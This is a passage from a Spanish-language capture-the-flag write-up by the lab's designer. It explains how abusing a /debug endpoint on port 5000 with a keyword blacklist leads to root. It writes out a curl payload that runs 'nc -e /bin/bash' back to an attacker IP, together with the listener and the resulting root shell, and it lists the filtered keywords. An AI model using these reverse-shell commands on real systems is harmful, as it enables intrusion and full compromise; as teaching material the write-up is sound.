&lt;p&gt;A partir de ese momento, un nuevo escaneo del host mostraba una superficie distinta:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22/tcp   open  ssh
5000/tcp open  upnp?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quise que esta fase enseñara dos cosas. La primera, que disponer de credenciales no siempre equivale a disponer de acceso útil: el contexto de red importa. La segunda, que existen servicios que solo aparecen tras una autenticación previa, un disparador o una condición operacional concreta. En infraestructuras internas esto puede verse en paneles efímeros, servicios de mantenimiento temporales o procesos de inicialización activados por usuarios concretos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Análisis del servicio temporal en el puerto 5000&lt;/h2&gt;
&lt;p&gt;El servicio expuesto en &lt;code&gt;5000/tcp&lt;/code&gt; presentaba una interfaz web con restricciones sobre determinadas palabras clave. Si se repetían cuatro veces, el servicio se apagaba por seguridad. Las cadenas filtradas eran:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__import__
os
system_
eval
subprocess
su
sudo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esa defensa estaba puesta para representar un error bastante típico: confiar en bloqueos por palabras prohibidas en lugar de eliminar realmente la capacidad peligrosa. El objetivo no era construir un sandbox robusto, sino mostrar lo endeble que resulta una validación basada en listas negras cuando detrás existe un mecanismo de ejecución insuficientemente aislado.&lt;/p&gt;
&lt;p&gt;Además, durante la enumeración aparecía un directorio &lt;code&gt;/debug&lt;/code&gt; que no aceptaba &lt;code&gt;GET&lt;/code&gt;, lo que indicaba una funcionalidad accesible por otro método HTTP.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Abuso del endpoint de depuración&lt;/h2&gt;
&lt;p&gt;El comportamiento de &lt;code&gt;/debug&lt;/code&gt; sugería que el servicio esperaba una petición &lt;code&gt;POST&lt;/code&gt; con contenido JSON. Con esa hipótesis se envió el siguiente payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;code&quot;: &quot;nc -e /bin/bash 10.0.50.80 8945&quot;}&apos; \
  http://10.0.50.100:5000/debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En el atacante, un listener confirmó la ejecución remota:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nc -lvnp 8945
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Y la conexión devolvió contexto de root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;connect to [10.0.50.80] from (UNKNOWN) [10.0.50.100] 57496
whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta era la culminación de toda la cadena. Técnicamente no hacía falta una explotación compleja: bastaba con entender que el servicio exponía una funcionalidad de depuración capaz de ejecutar código arbitrario o comandos del sistema sin separación efectiva. A nivel de diseño, esa era precisamente la lección. Muchas brechas no llegan por una vulnerabilidad sofisticada, sino por herramientas internas, paneles de test, modos debug o endpoints pensados para desarrollo que terminan accesibles desde donde no deberían.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Escalada de privilegios&lt;/h2&gt;
&lt;p&gt;En este caso la escalada no fue una fase separada, porque el propio abuso del endpoint de depuración ya entregaba una shell como &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami
root
cd /
ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Diseñé así el cierre de la máquina porque el foco no estaba en encadenar una post-explotación larga, sino en mostrar que una mala exposición de capacidades de depuración puede equivaler directamente a compromiso total. Es una idea importante: no toda escalada necesita un &lt;em&gt;local privilege escalation&lt;/em&gt; clásico. A veces el privilegio ya venía implícito en el servicio vulnerable.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar este CTF&lt;/h2&gt;
&lt;p&gt;La intención del laboratorio era enseñar una cadena coherente, donde cada paso tuviera sentido por sí mismo y también como preparación del siguiente. No me interesaba una sucesión de pruebas inconexas, sino una progresión donde la enumeración, la interpretación de pistas, el contexto de red y la exposición insegura de herramientas internas formasen parte del mismo problema.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Web inicial&lt;/td&gt;
&lt;td&gt;La superficie visible rara vez es toda la superficie real&lt;/td&gt;
&lt;td&gt;Pistas y recursos expuestos sin revisión&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Imagen con stego&lt;/td&gt;
&lt;td&gt;Los ficheros auxiliares también pueden contener secretos operativos&lt;/td&gt;
&lt;td&gt;Publicación insegura de recursos estáticos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dominio oculto y SQLi&lt;/td&gt;
&lt;td&gt;Extraer datos no basta; hay que interpretarlos correctamente&lt;/td&gt;
&lt;td&gt;Entrada vulnerable y protección insuficiente&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reconstrucción de contraseña&lt;/td&gt;
&lt;td&gt;El análisis lógico complementa a la técnica&lt;/td&gt;
&lt;td&gt;Secretos fragmentados o contaminados&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acceso a servidor2&lt;/td&gt;
&lt;td&gt;Las credenciales dependen del contexto de red&lt;/td&gt;
&lt;td&gt;Segmentación, control de origen y servicios condicionados&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicio en 5000&lt;/td&gt;
&lt;td&gt;Los servicios temporales o internos también cuentan&lt;/td&gt;
&lt;td&gt;Exposición de paneles o componentes auxiliares&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoint &lt;code&gt;/debug&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Una funcionalidad de depuración puede equivaler a RCE directa&lt;/td&gt;
&lt;td&gt;Debug inseguro y filtros basados en blacklist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shell root&lt;/td&gt;
&lt;td&gt;El impacto final depende del privilegio del servicio expuesto&lt;/td&gt;
&lt;td&gt;Ejecución de procesos privilegiados sin aislamiento&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;En conjunto, la máquina representa una idea que me interesaba dejar clara: un compromiso serio puede salir de elementos que por separado parecen menores. Una pista en una imagen, una inyección que devuelve datos parciales, una credencial condicionada por la red, y un endpoint de depuración aparentemente secundario terminan formando una ruta completa hacia root. Ese encadenamiento es precisamente lo que quería enseñar al construir este laboratorio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nmap&lt;/code&gt; para enumeración de servicios y validación de cambios de exposición.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;steghide&lt;/code&gt; para extracción de datos embebidos en imágenes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt; para reconstrucción y análisis de credenciales fragmentadas.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl&lt;/code&gt; para interacción manual con endpoints no documentados.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netcat&lt;/code&gt; para validación de ejecución remota y recepción de shell.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item></channel></rss>